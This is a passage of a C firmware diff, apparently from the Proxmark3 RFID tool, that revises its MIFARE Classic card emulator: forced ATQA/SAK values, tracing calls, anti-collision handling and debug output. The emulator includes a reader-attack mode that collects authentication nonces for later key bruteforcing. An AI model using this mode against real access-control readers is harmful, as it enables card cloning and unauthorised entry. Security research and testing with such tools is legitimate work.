(DBGLEVEL >= DBG_EXTENDED) + Dbprintf("MifareSimInit - FLAG_7B_UID_IN_DATA => Get UID from datain: %02X - Flag: %02X - UIDBCC1: %02X", FLAG_7B_UID_IN_DATA, flags, rUIDBCC1); // save CUID *cuid = bytes_to_num(rUIDBCC2, 4); @@ -284,7 +305,7 @@ static bool MifareSimInit(uint16_t flags, uint8_t *datain, tag_response_info_t * // BCC rUIDBCC1[4] = rUIDBCC1[0] ^ rUIDBCC1[1] ^ rUIDBCC1[2] ^ rUIDBCC1[3]; rUIDBCC2[4] = rUIDBCC2[0] ^ rUIDBCC2[1] ^ rUIDBCC2[2] ^ rUIDBCC2[3]; - if (DBGLEVEL >= DBG_NONE) { + if (DBGLEVEL > DBG_NONE) { Dbprintf("7B UID: %02x %02x %02x %02x %02x %02x %02x", rUIDBCC1[1], rUIDBCC1[2], rUIDBCC1[3], rUIDBCC2[0], rUIDBCC2[1], rUIDBCC2[2], rUIDBCC2[3]); } @@ -297,7 +318,8 @@ static bool MifareSimInit(uint16_t flags, uint8_t *datain, tag_response_info_t * memcpy(&rUIDBCC2[1], datain + 3, 3); memcpy(rUIDBCC3, datain + 6, 4); *uid_len = 10; - if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("MifareSimInit - FLAG_10B_UID_IN_DATA => Get UID from datain: %02X - Flag: %02X - UIDBCC1: %02X", FLAG_10B_UID_IN_DATA, flags, rUIDBCC1); + if (DBGLEVEL >= DBG_EXTENDED) + Dbprintf("MifareSimInit - FLAG_10B_UID_IN_DATA => Get UID from datain: %02X - Flag: %02X - UIDBCC1: %02X", FLAG_10B_UID_IN_DATA, flags, rUIDBCC1); // save CUID *cuid = bytes_to_num(rUIDBCC3, 4); @@ -309,7 +331,7 @@ static bool MifareSimInit(uint16_t flags, uint8_t *datain, tag_response_info_t * rUIDBCC2[4] = rUIDBCC2[0] ^ rUIDBCC2[1] ^ rUIDBCC2[2] ^ rUIDBCC2[3]; rUIDBCC3[4] = rUIDBCC3[0] ^ rUIDBCC3[1] ^ rUIDBCC3[2] ^ rUIDBCC3[3]; - if (DBGLEVEL >= DBG_NONE) { + if (DBGLEVEL > DBG_NONE) { Dbprintf("10B UID: %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x", rUIDBCC1[1], rUIDBCC1[2], rUIDBCC1[3], rUIDBCC2[1], rUIDBCC2[2], rUIDBCC2[3], @@ -323,6 +345,17 @@ static bool MifareSimInit(uint16_t flags, uint8_t *datain, tag_response_info_t * Dbprintf("[-] ERROR: UID size not defined"); return false; } + if (flags & FLAG_FORCED_ATQA) { + rATQA[0] = atqa >> 8; + rATQA[1] = atqa & 0xff; + } + if (flags & FLAG_FORCED_SAK) { + rSAK[0] = sak; + } + if (DBGLEVEL > DBG_NONE) { + Dbprintf("ATQA : %02X %02X", rATQA[1], rATQA[0]); + Dbprintf("SAK : %02X", rSAK[0]); + } // clone UIDs for byte-frame anti-collision multiple tag selection procedure memcpy(rUIDBCC1b4, &rUIDBCC1[1], 4); @@ -347,23 +380,23 @@ static bool MifareSimInit(uint16_t flags, uint8_t *datain, tag_response_info_t * #define TAG_RESPONSE_COUNT 18 static tag_response_info_t responses_init[TAG_RESPONSE_COUNT] = { - { .response = rATQA, .response_n = sizeof(rATQA) }, // Answer to request - respond with card type + { .response = rATQA, .response_n = sizeof(rATQA) }, // Answer to request - respond with card type { .response = rSAK, .response_n = sizeof(rSAK) }, // - { .response = rSAKuid, .response_n = sizeof(rSAKuid) }, // + { .response = rSAKuid, .response_n = sizeof(rSAKuid) }, // // Do not reorder. Block used via relative index of rUIDBCC1 - { .response = rUIDBCC1, .response_n = sizeof(rUIDBCC1) }, // Anticollision cascade1 - respond with first part of uid + { .response = rUIDBCC1, .response_n = sizeof(rUIDBCC1) }, // Anticollision cascade1 - respond with first part of uid { .response = rUIDBCC1b4, .response_n = sizeof(rUIDBCC1b4)}, { .response = rUIDBCC1b3, .response_n = sizeof(rUIDBCC1b3)}, { .response = rUIDBCC1b2, .response_n = sizeof(rUIDBCC1b2)}, { .response = rUIDBCC1b1, .response_n = sizeof(rUIDBCC1b1)}, // Do not reorder. Block used via relative index of rUIDBCC2 - { .response = rUIDBCC2, .response_n = sizeof(rUIDBCC2) }, // Anticollision cascade2 - respond with 2nd part of uid + { .response = rUIDBCC2, .response_n = sizeof(rUIDBCC2) }, // Anticollision cascade2 - respond with 2nd part of uid { .response = rUIDBCC2b4, .response_n = sizeof(rUIDBCC2b4)}, { .response = rUIDBCC2b3, .response_n = sizeof(rUIDBCC2b3)}, { .response = rUIDBCC2b2, .response_n = sizeof(rUIDBCC2b2)}, { .response = rUIDBCC2b1, .response_n = sizeof(rUIDBCC2b1)}, // Do not reorder. Block used via relative index of rUIDBCC3 - { .response = rUIDBCC3, .response_n = sizeof(rUIDBCC3) }, // Anticollision cascade3 - respond with 3th part of uid + { .response = rUIDBCC3, .response_n = sizeof(rUIDBCC3) }, // Anticollision cascade3 - respond with 3th part of uid { .response = rUIDBCC3b4, .response_n = sizeof(rUIDBCC3b4)}, { .response = rUIDBCC3b3, .response_n = sizeof(rUIDBCC3b3)}, { .response = rUIDBCC3b2, .response_n = sizeof(rUIDBCC3b2)}, @@ -402,26 +435,25 @@ static bool MifareSimInit(uint16_t flags, uint8_t *datain, tag_response_info_t * return true; } - /** *MIFARE 1K simulate. * *@param flags : -* FLAG_INTERACTIVE - In interactive mode, we are expected to finish the operation with an ACK +* FLAG_INTERACTIVE - In interactive mode, we are expected to finish the operation with an ACK * FLAG_4B_UID_IN_DATA - means that there is a 4-byte UID in the data-section, we're expected to use that * FLAG_7B_UID_IN_DATA - means that there is a 7-byte UID in the data-section, we're expected to use that -* FLAG_10B_UID_IN_DATA - use 10-byte UID in the data-section not finished -* FLAG_NR_AR_ATTACK - means we should collect NR_AR responses for bruteforcing later +* FLAG_10B_UID_IN_DATA - use 10-byte UID in the data-section not finished +* FLAG_NR_AR_ATTACK - means we should collect NR_AR responses for bruteforcing later *@param exitAfterNReads, exit simulation after n blocks have been read, 0 is infinite ... * (unless reader attack mode enabled then it runs util it gets enough nonces to recover all keys attmpted) */ -void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain) { +void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint16_t atqa, uint8_t sak) { tag_response_info_t *responses; uint8_t cardSTATE = MFEMUL_NOFIELD; uint8_t uid_len = 0; // 4,7, 10 uint32_t cuid = 0; - int vHf = 0; // in mV + int vHf = 0; // in mV uint32_t selTimer = 0; uint32_t authTimer = 0; @@ -445,7 +477,7 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain) { struct Crypto1State *pcs; pcs = &mpcs; - uint32_t numReads = 0; //Counts numer of times reader reads a block + uint32_t numReads = 0; //Counts numer of times reader reads a block uint8_t receivedCmd[MAX_MIFARE_FRAME_SIZE] = {0x00}; uint8_t receivedCmd_dec[MAX_MIFARE_FRAME_SIZE] = {0x00}; uint8_t receivedCmd_par[MAX_MIFARE_PARITY_SIZE] = {0x00}; @@ -457,35 +489,33 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain) { uint8_t *rats = NULL; uint8_t rats_len = 0; - uint8_t rAUTH_AT[] = {0x00, 0x00, 0x00, 0x00}; - //Here, we collect UID,sector,keytype,NT,AR,NR,NT2,AR2,NR2 // This will be used in the reader-only attack. //allow collecting up to 7 sets of nonces to allow recovery of up to 7 keys #define ATTACK_KEY_COUNT 7 // keep same as define in cmdhfmf.c -> readerAttack() (Cannot be more than 7) - nonces_t ar_nr_resp[ATTACK_KEY_COUNT * 2]; //*2 for 2 separate attack types (nml, moebius) 36 * 7 * 2 bytes = 504 bytes + nonces_t ar_nr_resp[ATTACK_KEY_COUNT * 2]; // *2 for 2 separate attack types (nml, moebius) 36 * 7 * 2 bytes = 504 bytes memset(ar_nr_resp, 0x00, sizeof(ar_nr_resp)); - uint8_t ar_nr_collected[ATTACK_KEY_COUNT * 2]; //*2 for 2nd attack type (moebius) + uint8_t ar_nr_collected[ATTACK_KEY_COUNT * 2]; // *2 for 2nd attack type (moebius) memset(ar_nr_collected, 0x00, sizeof(ar_nr_collected)); - uint8_t nonce1_count = 0; - uint8_t nonce2_count = 0; - uint8_t moebius_n_count = 0; + uint8_t nonce1_count = 0; + uint8_t nonce2_count = 0; + uint8_t moebius_n_count = 0; bool gettingMoebius = false; - uint8_t mM = 0; //moebius_modifier for collection storage + uint8_t mM = 0; //moebius_modifier for collection storage // Authenticate response - nonce uint8_t rAUTH_NT[4]; uint8_t rAUTH_NT_keystream[4]; uint32_t nonce = 0; - tUart *uart = GetUart(); + tUart14a *uart = GetUart14a(); // free eventually allocated BigBuf memory but keep Emulator Memory BigBuf_free_keep_EM(); - if (MifareSimInit(flags, datain, &responses, &cuid, &uid_len, &rats, &rats_len) == false) { + if (MifareSimInit(flags, datain, atqa, sak, &responses, &cuid, &uid_len, &rats, &rats_len) == false) { BigBuf_free_keep_EM(); return; } @@ -507,7 +537,13 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain) { // find reader field if (cardSTATE == MFEMUL_NOFIELD) { - vHf = (MAX_ADC_HF_VOLTAGE_RDV40 * AvgAdc(ADC_CHAN_HF)) >> 10; + +#if defined RDV4 + vHf = (MAX_ADC_HF_VOLTAGE_RDV40 * AvgAdc(ADC_CHAN_HF_RDV40)) >> 10; +#else + vHf = (MAX_ADC_HF_VOLTAGE * AvgAdc(ADC_CHAN_HF)) >> 10; +#endif + if (vHf > MF_MINFIELDV) { cardSTATE_TO_IDLE(); LED_A_ON(); @@ -516,28 +552,36 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain) { continue; } + FpgaEnableTracing(); //Now, get data int res = EmGetCmd(receivedCmd, &receivedCmd_len, receivedCmd_par); if (res == 2) { //Field is off! + FpgaDisableTracing(); LEDsoff(); cardSTATE = MFEMUL_NOFIELD; - if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("cardSTATE = MFEMUL_NOFIELD"); + if (DBGLEVEL >= DBG_EXTENDED) + Dbprintf("cardSTATE = MFEMUL_NOFIELD"); continue; } else if (res == 1) { // button pressed + FpgaDisableTracing(); button_pushed = true; - if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("Button pressed"); + if (DBGLEVEL >= DBG_EXTENDED) + Dbprintf("Button pressed"); break; } // WUPA in HALTED state or REQA or WUPA in any other state if (receivedCmd_len == 1 && ((receivedCmd[0] == ISO14443A_CMD_REQA && cardSTATE != MFEMUL_HALTED) || receivedCmd[0] == ISO14443A_CMD_WUPA)) { selTimer = GetTickCount(); - if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("EmSendPrecompiledCmd(&responses[ATQA]);"); + if (DBGLEVEL >= DBG_EXTENDED) + Dbprintf("EmSendPrecompiledCmd(&responses[ATQA]);"); EmSendPrecompiledCmd(&responses[ATQA]); + FpgaDisableTracing(); + // init crypto block - crypto1_destroy(pcs); + crypto1_deinit(pcs); cardAUTHKEY = AUTHKEYNONE; nonce = prng_successor(selTimer, 32); // prepare NT for nested authentication @@ -552,12 +596,17 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain) { switch (cardSTATE) { case MFEMUL_NOFIELD: - if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("MFEMUL_NOFIELD"); + if (DBGLEVEL >= DBG_EXTENDED) + Dbprintf("MFEMUL_NOFIELD"); + break; case MFEMUL_HALTED: - if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("MFEMUL_HALTED"); + if (DBGLEVEL >= DBG_EXTENDED) + Dbprintf("MFEMUL_HALTED"); + break; case MFEMUL_IDLE: { LogTrace(uart->output, uart->len, uart->startTime * 16 - DELAY_AIR2ARM_AS_TAG, uart->endTime * 16 - DELAY_AIR2ARM_AS_TAG, uart->parity, true); - if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("MFEMUL_IDLE"); + if (DBGLEVEL >= DBG_EXTENDED) + Dbprintf("MFEMUL_IDLE"); break; } @@ -598,6 +647,8 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain) { // Incoming SELECT ALL for any cascade level if (receivedCmd_len == 2 && receivedCmd[1] == 0x20) { EmSendPrecompiledCmd(&responses[uid_index]); + FpgaDisableTracing(); + if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("SELECT ALL - EmSendPrecompiledCmd(%02x)", &responses[uid_index]); break; } @@ -606,9 +657,11 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain) { if (receivedCmd_len == 9 && receivedCmd[1] == 0x70) { if (memcmp(&receivedCmd[2], responses[uid_index].response, 4) == 0) { bool cl_finished = (uid_len == 4 && uid_index == UIDBCC1) || - (uid_len == 7 && uid_index == UIDBCC2) || - (uid_len == 10 && uid_index == UIDBCC3); + (uid_len == 7 && uid_index == UIDBCC2) || + (uid_len == 10 && uid_index == UIDBCC3); EmSendPrecompiledCmd(&responses[cl_finished ? SAK : SAKuid]); + FpgaDisableTracing(); + if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("SELECT CLx %02x%02x%02x%02x received", receivedCmd[2], receivedCmd[3], receivedCmd[4], receivedCmd[5]); if (cl_finished) { LED_B_ON(); @@ -625,11 +678,14 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain) { } // Incoming anti-collision frame - if (receivedCmd_len >= 2 && receivedCmd_len <= 6 && receivedCmd[1] == 0x50) { + // receivedCmd[1] indicates number of byte and bit collision, supports only for bit collision is zero + if (receivedCmd_len >= 3 && receivedCmd_len <= 6 && (receivedCmd[1] & 0x0f) == 0) { // we can process only full-byte frame anti-collision procedure if (memcmp(&receivedCmd[2], responses[uid_index].response, receivedCmd_len - 2) == 0) { // response missing part of UID via relative array index EmSendPrecompiledCmd(&responses[uid_index + receivedCmd_len - 2]); + FpgaDisableTracing(); + if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("SELECT ANTICOLLISION - EmSendPrecompiledCmd(%02x)", &responses[uid_index]); } else { // IDLE, not our UID or split-byte frame anti-collision (not supports) @@ -650,7 +706,8 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain) { // WORK case MFEMUL_WORK: { - if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("[MFEMUL_WORK] Enter in case"); + if (DBGLEVEL >= DBG_EXTENDED) + Dbprintf("[MFEMUL_WORK] Enter in case"); if (receivedCmd_len == 0) { if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("[MFEMUL_WORK] NO CMD received"); @@ -669,6 +726,8 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain) { if (!CheckCrc14A(receivedCmd_dec, receivedCmd_len)) { // all commands must have a valid CRC EmSend4bit(encrypted_data ? mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA) : CARD_NACK_NA); + FpgaDisableTracing(); + if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("[MFEMUL_WORK] All commands must have a valid CRC %02X (%d)", receivedCmd_dec, receivedCmd_len); break; } @@ -680,9 +739,12 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain) { // RCV: 61 XX => Using KEY B // XX: Block number + // iceman, u8 can never be larger than 256 // if authenticating to a block that shouldn't exist - as long as we are not doing the reader attack - if (receivedCmd_dec[1] > MIFARE_4K_MAXBLOCK && !((flags & FLAG_NR_AR_ATTACK) == FLAG_NR_AR_ATTACK)) { + if (((flags & FLAG_NR_AR_ATTACK) != FLAG_NR_AR_ATTACK)) { EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA)); + FpgaDisableTracing(); + if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("Reader tried to operate (0x%02x) on out of range block: %d (0x%02x), nacking", receivedCmd_dec[0], receivedCmd_dec[1], receivedCmd_dec[1]); break; } @@ -701,10 +763,10 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain) { if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("[MFEMUL_WORK] KEY %c: %012" PRIx64, (cardAUTHKEY == 0) ? 'A' : 'B', emlGetKey(cardAUTHSC, cardAUTHKEY)); // first authentication - crypto1_destroy(pcs); + crypto1_deinit(pcs); // Load key into crypto - crypto1_create(pcs, emlGetKey(cardAUTHSC, cardAUTHKEY)); + crypto1_init(pcs, emlGetKey(cardAUTHSC, cardAUTHKEY)); if (!encrypted_data) { // Receive Cmd in clear txt @@ -712,7 +774,9 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain) { crypto1_word(pcs, cuid ^ nonce, 0); // rAUTH_NT contains prepared nonce for authenticate EmSendCmd(rAUTH_NT, sizeof(rAUTH_NT)); - if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("[MFEMUL_WORK] Reader authenticating for block %d (0x%02x) with key %c - nonce: %02X - ciud: %02X", receivedCmd_dec[1], receivedCmd_dec[1], (cardAUTHKEY == 0) ? 'A' : 'B', rAUTH_AT, cuid); + FpgaDisableTracing(); + + if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("[MFEMUL_WORK] Reader authenticating for block %d (0x%02x) with key %c - nonce: %02X - ciud: %02X", receivedCmd_dec[1], receivedCmd_dec[1], (cardAUTHKEY == 0) ? 'A' : 'B', rAUTH_NT, cuid); } else { // nested authentication /* @@ -723,6 +787,8 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain) { // we need calculate parity bits for non-encrypted sequence mf_crypto1_encryptEx(pcs, rAUTH_NT, rAUTH_NT_keystream, response, 4, response_par); EmSendCmdPar(response, 4, response_par); + FpgaDisableTracing(); + if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("[MFEMUL_WORK] Reader doing nested authentication for block %d (0x%02x) with key %c", receivedCmd_dec[1], receivedCmd_dec[1], (cardAUTHKEY == 0) ? 'A' : 'B'); } @@ -735,12 +801,14 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain) { // BUT... ACK --> NACK if (receivedCmd_len == 1 && receivedCmd_dec[0] == CARD_ACK) { EmSend4bit(encrypted_data ? mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA) : CARD_NACK_NA); + FpgaDisableTracing(); break; } // rule 12 of 7.5.3. in ISO 14443-4. R(NAK) --> R(ACK) if (receivedCmd_len == 1 && receivedCmd_dec[0] == CARD_NACK_NA) { EmSend4bit(encrypted_data ? mf_crypto1_encrypt4bit(pcs, CARD_ACK) : CARD_ACK); + FpgaDisableTracing(); break; } @@ -754,17 +822,27 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain) { // all other commands must be encrypted (authenticated) if (!encrypted_data) { EmSend4bit(CARD_NACK_NA); + FpgaDisableTracing(); + if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("[MFEMUL_WORK] Commands must be encrypted (authenticated)"); break; } + + // iceman, u8 can never be larger the MIFARE_4K_MAXBLOCK (256) // Check if Block num is not too far + /* if (receivedCmd_dec[1] > MIFARE_4K_MAXBLOCK) { EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA)); + FpgaDisableTracing(); if (DBGLEVEL >= DBG_ERROR) Dbprintf("[MFEMUL_WORK] Reader tried to operate (0x%02x) on out of range block: %d (0x%02x), nacking", receivedCmd_dec[0], receivedCmd_dec[1], receivedCmd_dec[1]); break; } + */ + if (MifareBlockToSector(receivedCmd_dec[1]) != cardAUTHSC) { EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA)); + FpgaDisableTracing(); + if (DBGLEVEL >= DBG_ERROR) Dbprintf("[MFEMUL_WORK] Reader tried to operate (0x%02x) on block (0x%02x) not authenticated for (0x%02x), nacking", receivedCmd_dec[0], receivedCmd_dec[1], cardAUTHSC); break; } @@ -800,26 +878,28 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain) { if (IsSectorTrailer(blockNo)) { if (!IsAccessAllowed(blockNo, cardAUTHKEY, AC_KEYA_READ)) { - memset(response, 0x00, 6); // keyA can never be read + memset(response, 0x00, 6); // keyA can never be read if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("[MFEMUL_WORK - IsSectorTrailer] keyA can never be read - block %d (0x%02x)", blockNo, blockNo); } if (!IsAccessAllowed(blockNo, cardAUTHKEY, AC_KEYB_READ)) { - memset(response + 10, 0x00, 6); // keyB cannot be read + memset(response + 10, 0x00, 6); // keyB cannot be read if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("[MFEMUL_WORK - IsSectorTrailer] keyB cannot be read - block %d (0x%02x)", blockNo, blockNo); } if (!IsAccessAllowed(blockNo, cardAUTHKEY, AC_AC_READ)) { - memset(response + 6, 0x00, 4); // AC bits cannot be read + memset(response + 6, 0x00, 4); // AC bits cannot be read if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("[MFEMUL_WORK - IsAccessAllowed] AC bits cannot be read - block %d (0x%02x)", blockNo, blockNo); } } else { if (!IsAccessAllowed(blockNo, cardAUTHKEY, AC_DATA_READ)) { - memset(response, 0x00, 16); // datablock cannot be read + memset(response, 0x00, 16); // datablock cannot be read if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("[MFEMUL_WORK - IsAccessAllowed] Data block %d (0x%02x) cannot be read", blockNo, blockNo); } } AddCrc14A(response, 16); mf_crypto1_encrypt(pcs, response, MAX_MIFARE_FRAME_SIZE, response_par); EmSendCmdPar(response, MAX_MIFARE_FRAME_SIZE, response_par); + FpgaDisableTracing(); + if (DBGLEVEL >= DBG_EXTENDED) { Dbprintf("[MFEMUL_WORK - EmSendCmdPar] Data Block[%d]: %02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x", blockNo, response[0], response[1], response[2], response[3], response[4], response[5], response[6], @@ -841,6 +921,8 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain) { blockNo = receivedCmd_dec[1]; if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("[MFEMUL_WORK] RECV 0xA0 write block %d (%02x)", blockNo, blockNo); EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_ACK)); + FpgaDisableTracing(); + cardWRBL = blockNo; cardSTATE = MFEMUL_WRITEBL2; if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("[MFEMUL_WORK] cardSTATE = MFEMUL_WRITEBL2"); @@ -854,9 +936,11 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain) { if (emlCheckValBl(blockNo)) { if (DBGLEVEL >= DBG_ERROR) Dbprintf("[MFEMUL_WORK] Reader tried to operate on block, but emlCheckValBl failed, nacking"); EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA)); + FpgaDisableTracing(); break; } EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_ACK)); + FpgaDisableTracing(); cardWRBL = blockNo; // INC @@ -889,6 +973,8 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain) { EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA)); else EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_ACK)); + + FpgaDisableTracing(); break; } @@ -899,7 +985,8 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain) { LED_C_OFF(); cardSTATE = MFEMUL_HALTED; cardAUTHKEY = AUTHKEYNONE; - if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("[MFEMUL_WORK] cardSTATE = MFEMUL_HALTED"); + if (DBGLEVEL >= DBG_EXTENDED) + Dbprintf("[MFEMUL_WORK] cardSTATE = MFEMUL_HALTED"); break; } @@ -910,12 +997,17 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain) { memcpy(response, rats, rats_len); mf_crypto1_encrypt(pcs, response, rats_len, response_par); EmSendCmdPar(response, rats_len, response_par); - } else + } else { EmSendCmd(rats, rats_len); - if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("[MFEMUL_WORK] RCV RATS => ACK"); + } + FpgaDisableTracing(); + if (DBGLEVEL >= DBG_EXTENDED) + Dbprintf("[MFEMUL_WORK] RCV RATS => ACK"); } else { EmSend4bit(encrypted_data ? mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA) : CARD_NACK_NA); - if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("[MFEMUL_WORK] RCV RATS => NACK"); + FpgaDisableTracing(); + if (DBGLEVEL >= DBG_EXTENDED) + Dbprintf("[MFEMUL_WORK] RCV RATS => NACK"); } break; } @@ -930,28 +1022,38 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain) { EmSendCmdPar(response, receivedCmd_len, response_par); } else EmSendCmd(receivedCmd_dec, receivedCmd_len); - if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("[MFEMUL_WORK] RCV NXP DESELECT => ACK"); + + FpgaDisableTracing(); + if (DBGLEVEL >= DBG_EXTENDED) + Dbprintf("[MFEMUL_WORK] RCV NXP DESELECT => ACK"); } else { EmSend4bit(encrypted_data ? mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA) : CARD_NACK_NA); - if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("[MFEMUL_WORK] RCV NXP DESELECT => NACK"); + FpgaDisableTracing(); + + if (DBGLEVEL >= DBG_EXTENDED) + Dbprintf("[MFEMUL_WORK] RCV NXP DESELECT => NACK"); } break; } // case MFEMUL_WORK => command not allowed - if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("Received command not allowed, nacking"); + if (DBGLEVEL >= DBG_EXTENDED) + Dbprintf("Received command not allowed, nacking"); EmSend4bit(encrypted_data ? mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA) : CARD_NACK_NA); + FpgaDisableTracing(); break; } // AUTH1 case MFEMUL_AUTH1: { - if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("[MFEMUL_AUTH1] Enter case"); + if (DBGLEVEL >= DBG_EXTENDED) + Dbprintf("[MFEMUL_AUTH1] Enter case"); if (receivedCmd_len != 8) { cardSTATE_TO_IDLE(); LogTrace(uart->output, uart->len, uart->startTime * 16 - DELAY_AIR2ARM_AS_TAG, uart->endTime * 16 - DELAY_AIR2ARM_AS_TAG, uart->parity, true); - if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("MFEMUL_AUTH1: receivedCmd_len != 8 (%d) => cardSTATE_TO_IDLE())", receivedCmd_len); + if (DBGLEVEL >= DBG_EXTENDED) + Dbprintf("MFEMUL_AUTH1: receivedCmd_len != 8 (%d) => cardSTATE_TO_IDLE())", receivedCmd_len); break; } @@ -1035,22 +1137,24 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain) { , prng_successor(nonce, 64) ); } - cardAUTHKEY = AUTHKEYNONE; // not authenticated - EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA)); + cardAUTHKEY = AUTHKEYNONE; // not authenticated cardSTATE_TO_IDLE(); + // Really tags not respond NACK on invalid authentication + LogTrace(uart->output, uart->len, uart->startTime * 16 - DELAY_AIR2ARM_AS_TAG, uart->endTime * 16 - DELAY_AIR2ARM_AS_TAG, uart->parity, true); break; } ans = prng_successor(nonce, 96); - num_to_bytes(ans, 4, rAUTH_AT); - mf_crypto1_encrypt(pcs, rAUTH_AT, 4, response_par); - EmSendCmdPar(rAUTH_AT, 4, response_par); + num_to_bytes(ans, 4, response); + mf_crypto1_encrypt(pcs, response, 4, response_par); + EmSendCmdPar(response, 4, response_par); + FpgaDisableTracing(); if (DBGLEVEL >= DBG_EXTENDED) { Dbprintf("[MFEMUL_AUTH1] AUTH COMPLETED for sector %d with key %c. time=%d", cardAUTHSC, cardAUTHKEY == 0 ? 'A' : 'B', - GetTickCount() - authTimer + GetTickCountDelta(authTimer) ); } LED_C_ON(); @@ -1067,21 +1171,23 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain) { if (IsSectorTrailer(cardWRBL)) { emlGetMem(response, cardWRBL, 1); if (!IsAccessAllowed(cardWRBL, cardAUTHKEY, AC_KEYA_WRITE)) { - memcpy(receivedCmd_dec, response, 6); // don't change KeyA + memcpy(receivedCmd_dec, response, 6); // don't change KeyA } if (!IsAccessAllowed(cardWRBL, cardAUTHKEY, AC_KEYB_WRITE)) { - memcpy(receivedCmd_dec + 10, response + 10, 6); // don't change KeyA + memcpy(receivedCmd_dec + 10, response + 10, 6); // don't change KeyA } if (!IsAccessAllowed(cardWRBL, cardAUTHKEY, AC_AC_WRITE)) { - memcpy(receivedCmd_dec + 6, response + 6, 4); // don't change AC bits + memcpy(receivedCmd_dec + 6, response + 6, 4); // don't change AC bits } } else { if (!IsAccessAllowed(cardWRBL, cardAUTHKEY, AC_DATA_WRITE)) { - memcpy(receivedCmd_dec, response, 16); // don't change anything + memcpy(receivedCmd_dec, response, 16); // don't change anything } } emlSetMem(receivedCmd_dec, cardWRBL, 1); - EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_ACK)); // always ACK? + EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_ACK)); // always ACK? + FpgaDisableTracing(); + cardSTATE = MFEMUL_WORK; if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("[MFEMUL_WRITEBL2] cardSTATE = MFEMUL_WORK"); break; @@ -1099,6 +1205,8 @@ void Mifare1ksim(uint16_t flags, 